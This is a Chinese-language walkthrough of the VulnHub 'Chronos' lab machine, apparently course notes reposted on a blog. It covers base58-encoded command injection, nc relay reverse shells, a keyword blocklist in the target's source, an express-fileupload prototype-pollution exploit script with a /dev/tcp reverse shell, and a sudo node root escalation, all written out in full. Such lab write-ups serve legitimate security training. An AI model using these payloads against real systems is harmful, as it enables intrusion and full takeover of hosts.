靶機介紹
1)靶機地址:https://www.vulnhub.com/entry/chronos-1,735/
2)靶機難度:中(構思非常巧妙)
3)打靶目標: 取得 2 個 flag + root 權限
4)涉及攻擊方法:埠掃描、WEB偵查、命令注入、資料編解碼、搜索大法、框架漏洞利用、代碼審計、NC串聯、本地提權
5)課程來源:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0
6)參考鏈接:
①https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/
②https://blog.p6.is/Real-World-JS-1/
打靶程序
1)主機發現:本次使用netdiscover進行主機發現,該工具原理和arp-scan、arping原理一樣,但命令使用格式不同,建議該工具掃描時在真實的子網掩碼數-8,效果更好
# netdiscover -r 192.168.56.0/16

2)對發現的主機進行全埠掃描
# nmap -p- 192.168.56.110

3)對發現的埠進行服務版本等資訊掃描
# nmap -p22,80,8000 -sV 192.168.56.110

8000埠開放了一個http服務,但是服務端使用了Node.js開發技術,并結合了Express框架
4)使用瀏覽器訪問目標主機的80埠及8000埠
①訪問80埠:打開后頁面很簡單
瀏覽器:http://192.168.56.110/

注:當頁面無法搜集到有用資訊時,可以進行網站路徑掃描(爬站),把隱藏路徑或者隱藏檔案爬取出來;另外也可以查看網頁源代碼(ctrl +U),查看有無隱藏的介面、腳本、表單等
②查看當前頁面原始碼,未發現隱藏的url地址及頁面資源,但是發現了一段腳本,包含在了script標簽下

<script>
var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}
</script>
③通過查看腳本代碼發現,該腳本中包括函式名稱和變數名稱都是通過編碼處理到,導致無法直接分析出代碼的含義,此時對javascript代碼進行還原美化及整理,可使用cyberchef在線工具,該工具可以針對各種計算機資料型別來做編碼、解碼、還原、解密等相關操作
A:工具地址:https://cyberchef.cn/
B:使用方法:左側為模塊名稱,使用相應模塊時,先進行搜索,將模塊拖入Recipe后,在Input輸入需要解碼的代碼及字串,例如:此處使用針對javascript做代碼美化的模塊,對上述代碼進行美化操作

④經過簡單美化后的代碼,雖然格式整齊了,但是因為函式名稱等字符被編碼,仍然無法正常讀取,出于滲透高效的目的,將重點關注代碼中比較容易識別或者一眼看起來就有問題的元素,本段代碼中大部分內容都是通過編碼處理的,都不太好讀取,只有一段URL比較容易讀取
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
分析:
chronos為靶機的名稱
local代表本機
8000埠:通過前面埠掃描發現,在本機也開放了8000埠
此時可懷疑chronos.local這個域名可能指向了目標主機的IP地址,則有理由懷疑在當前頁面加載的程序中,可能會去訪問該URL地址,來獲取某些頁面資源,來放置到頁面中

⑤為決議上述域名,在hosts檔案中進行決議
# vi /etc/hosts
192.168.56.110 chronos.local


⑥因域名已可正常決議,再次加載頁面,查看頁面或者源代碼是否發送變化:可以發現已正常的顯示出了資源
瀏覽器:http://192.168.56.110/

⑦通過burp,在重繪頁面時,將整個頁面加載程序全部進行抓取,即訪問了哪些地址,加載了哪些資源全部進行記錄

⑧通過查看資料包發現,當修改format后的引數后,則無法回傳正常的時間


⑨此時就需要對format后的字符進行轉發,查看到底是什么內容,通過字符特點可懷疑是base64的編碼,將該行字符在cybershef進行轉碼,此時使用magic模塊,可以對其進行轉碼(magic模塊表示當不知道字符是什么編碼型別生成時,該模塊可以進行簡單分析)
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
編碼后:4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
編碼前:'+Today is %A, %B %d, %Y %H:%M:%S.'

⑩對該明文進行分析,發現該明文是date命令的時間格式
# date '+Today is %A, %B %d, %Y %H:%M:%S.'

5)通過上述驗證,可猜測該web應用程式在進行請求服務端資料時,服務端執行的就是該作業系統命令,既然執行了作業系統指令,是否可以通過命令注入的方式通過一些連接符(如|、 ||、 &&)向該變數中注入其他的系統命令
|| 前面命令執行不成功,才會執行后面命令
&& 前面命令執行正確,才會執行后面命令

6)通過之前的URL可知,注入的命令也必須要通過base58編碼,才能被目標系統所接受,所以此時要通過cyberchef 工具,將要注入的命令轉化為base58編碼后的字符
Input: &&ls
Output:5Jdixo4

7)將編碼后的字符,在資料包中進行提交:發現確實存在命令注入漏洞

8)在目標系統執行反彈shell的命令,此時使用nc工具進行反彈shell,因為nc命令使用廣泛,很可能在目標主機默認就存在該工具
①查看主機是否具有nc工具
編碼前:&& ls /bin
編碼后:39JyvVr3FjbwAV


查找發現,目標服務器確實存在nc命令
②測驗nc命令是否可正常執行,該版本是否有-e引數
編碼前:&& nc 192.168.56.103 4444
編碼后:GMKWwmxeCKrzqcoDwLeaRS6LtNATnW7thR

kali主機進行監聽:
# nc -lvvp 4444
burp雖然回傳了錯誤的資訊,但是kali主機確顯示連接成功,說明目標服務器上存在nc,而且nc是可以正常建立網路連接的


③確定該nc版本是否有-e引數進行連接
編碼前:&& nc 192.168.56.103 4444 -e /bin/bash
編碼后:6eK5JFNT7CahVhdM6iDKHY4Q4b7Knp1DuphZrm7gM2b6zDfbCQPR



發送資料包后,發現并不能建立連接,說明該版本nc引數并不包含-e引數,所以只能夠采用nc串聯的方式進行連接
④通過nc串聯的方式進行反彈shell
編碼前:&& nc 192.168.56.103 4444 | /bin/bash |nc 192.168.56.103 5555
編碼后:WqfXccLfYcuHA6xfwxPgwNU15RA9eAb3P97ZEaZqLpANPu4v7rLTaYetgKEGVY78ptWsqq8aWa4QkbmVpm2


⑤kali進行監聽:會話1輸入的命令回傳的資料就會顯示在會話2
會話1:
# nc -lvvp 4444
會話2:
# nc -lvvp 5555

9)反彈shell獲取到的權限為www-data用戶權限,對當前用戶所處的主機進行大量資訊搜集,查看是否有敏感目錄,flag檔案或者其他用戶
①在用戶檔案中發現了imera用戶
cat /etc/passwd |grep /bin/bash

②進入該用戶的家目錄發現了一個user.txt檔案,但是無權限打開(只有imera用戶才能對看檔案進行讀取)
cd /home
ls
cd imera
ls
cat user.txt
ls -l

③對當前用戶進行提權:
A:基于內核漏洞進行提權,查看內核版本為4.15,針對該版本查到提權漏洞代碼,并未發現可用的

B:查看是否具備SUID權限配置上的錯誤,也為發現任何的suid權限檔案
#find / -perm +4000 -user root -type f -print
#find / -perm +4000 -user imera -type f -print
C:當前用戶也無發現任何sudo權限
#sudo -l
10)發現無法提權以后,再次進行大量資訊搜集(收集的資訊越多,滲透思路越多),搜集發現在網站目錄下存在js代碼,此處是通過Node.js可進行服務端web程式開發
cd /opt
cd chronos
ls

基于Node.js開發出的應用程式,通常都是基于已有的框架庫進行開發,完全使用Node.js開發應用程式難度較高,Node.js常用于開發web應用程式所使用的框架為Express框架(express是一款基于Node.js平臺,快速、開放、極簡的web開發框架),在該靶機對web應用程式的原始碼進行代碼審計
11)先查看package.json,因為幾乎所有的基于Node.js開發出的專案中,根目錄下都包含package.json檔案,該檔案一般定義了當前專案所需要的模塊、框架等
#cat package.json

查看發現,該專案依賴了bs58庫(即base58編碼解碼等)、cors庫、express框架
12)查看app.js代碼
// created by alienum for Penetration Testing
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();
const port = 8000;
const cors = require('cors');
app.use(cors());
app.get('/', (req,res) =>{
res.sendFile("/var/www/html/index.html");
});
app.get('/date', (req, res) => {
var agent = req.headers['user-agent'];
var cmd = 'date ';
const format = req.query.format;
const bytes = bs58.decode(format);
var decoded = bytes.toString();
var concat = cmd.concat(decoded);
if (agent === 'Chronos') {
if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
res.send("Something went wrong");
}
exec(concat, (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
res.send(stdout);
});
}
else{
res.send("Permission Denied");
}
})
app.listen(port,() => {
console.log(`Server running at ${port}`);
})
通過代碼分析,發現開發者只是對常見的滲透測驗命令進行了檢測,但是并未阻斷
13)繼續通過資訊搜集,發現在上級目錄,即/opt目錄下,存在另外一個應用程式chronos-v2,進入其后端目錄backend后,繼續查看package.json模塊應用組態檔,發現該應用程式服務端主程式為server.js、通過node server.js進行啟動這個web應用,ejs表示嵌入式的javascript模板,同樣使用了express庫,并且從express-fileupload庫可猜測既然有檔案上傳功能,那是否可以通過檔案上傳,上傳一個webshell

14)查看chronos-v2該應用程式服務端主程式原始碼:發現該應用程式啟動在127.0.0.1:8000地址上,這也是為什么前面埠掃描時未發現8000埠開放原因,這個應用只監聽在127.0.0.1上,即只有本機才能訪問這個應用的8000埠
#cat server.js
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')
const app = express();
app.use(fileupload({ parseNested: true }));
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");
app.get('/', (req, res) => {
res.render('index')
});
const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
console.log('Server listening on ' + addr + ' port ' + port);
});
15)通過搜索引擎發現,express-fileupload模塊存在一個漏洞(原型污染漏洞,可致Web應用程式遭受DoS和遠程Shell攻擊)

在如下鏈接中找到了漏洞利用代碼
①https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/
②https://blog.p6.is/Real-World-JS-1/

16)根據實際情況,修改漏洞利用代碼
# cat exp.py
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.103/7777 0>&1"'
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://127.0.0.1:8080')

17)將該漏洞利用代碼傳輸到目標靶機進行運行
①kali主機開啟http服務
# python3 -m http.server 80
②目標主機下載exp.py漏洞利用代碼,并利用
cd /tmp
wget http://192.168.56.103/exp.py
ls
python3 exp.py

③在kali監聽7777埠
# nc -lvvp 7777

18)根據前期資訊搜集,發現在imera用戶的家目錄之下存在一個user.txt的flag檔案
#cd /home/imera
#ls
#cat user.txt

19)對當前imera用戶進行提權,通過sudo -l 查看當前用戶存在sudo權限:該用戶可通過root用戶,執行node命令
$ sudo -l

20)通過node命令進行提權,獲取到root用戶flag
$ sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'

總結:針對靶機先進行了主機發現、埠掃描、應用發現等基本操作,然后在web頁面發現了奇怪的域名,于是進行了名的系結,并在域名系結后查看到了頁面的變化,通過對頁面原始碼的分析,找出了javascript的腳本,然后發現了經過base58編碼的字符,通過對字符還原的分析,發現了命令注入漏洞,進而通過base58編碼注入命令,對目標系統執行了命令注入,獲得了一個基礎的nc反彈shell,通過搜索找當了目標系統上應用的一個框架的漏洞,利用漏洞利用代碼進行了利用,提權,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/538644.html
標籤:其他
上一篇:kubernetes資料持久化StorageClass動態供給(二)
下一篇:MICCAI 論文投稿須知翻譯
